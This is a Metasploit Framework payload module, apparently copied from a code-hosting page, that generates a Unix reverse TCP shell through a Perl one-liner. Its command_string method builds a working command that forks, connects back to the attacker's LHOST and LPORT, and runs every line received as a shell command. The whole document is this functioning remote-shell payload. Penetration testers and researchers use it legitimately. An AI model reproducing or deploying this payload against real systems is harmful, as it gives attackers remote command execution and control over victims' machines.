Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 234
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
     'Name'          => 'Unix Command Shell, Reverse TCP (via Perl)',
17
     'Description'   => 'Creates an interactive shell via perl',
18
     'Author'        => 'cazz',
19
     'License'       => BSD_LICENSE,
20
     'Platform'      => 'unix',
21
     'Arch'          => ARCH_CMD,
22
     'Handler'       => Msf::Handler::ReverseTcp,
23
     'Session'       => Msf::Sessions::CommandShell,
24
     'PayloadType'   => 'cmd',
25
     'RequiredCmd'   => 'perl',
26
     'Payload'       =>
27
       {
28
         'Offsets' => { },
29
         'Payload' => ''
30
       }
31
    ))
32
    register_advanced_options(
33
      [
34
        OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
35
      ]
36
    )
37
  end
38

39
  #
40
  # Constructs the payload
41
  #
42
  def generate(_opts = {})
43
    vprint_good(command_string)
44
    return super + command_string
45
  end
46

47
  #
48
  # Returns the command string to use for execution
49
  #
50
  def command_string
51
    lhost = datastore['LHOST']
52
    ver   = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
53
    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
54
    cmd   = "#{datastore['PerlPath']} -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
55
  end
56
end
57

58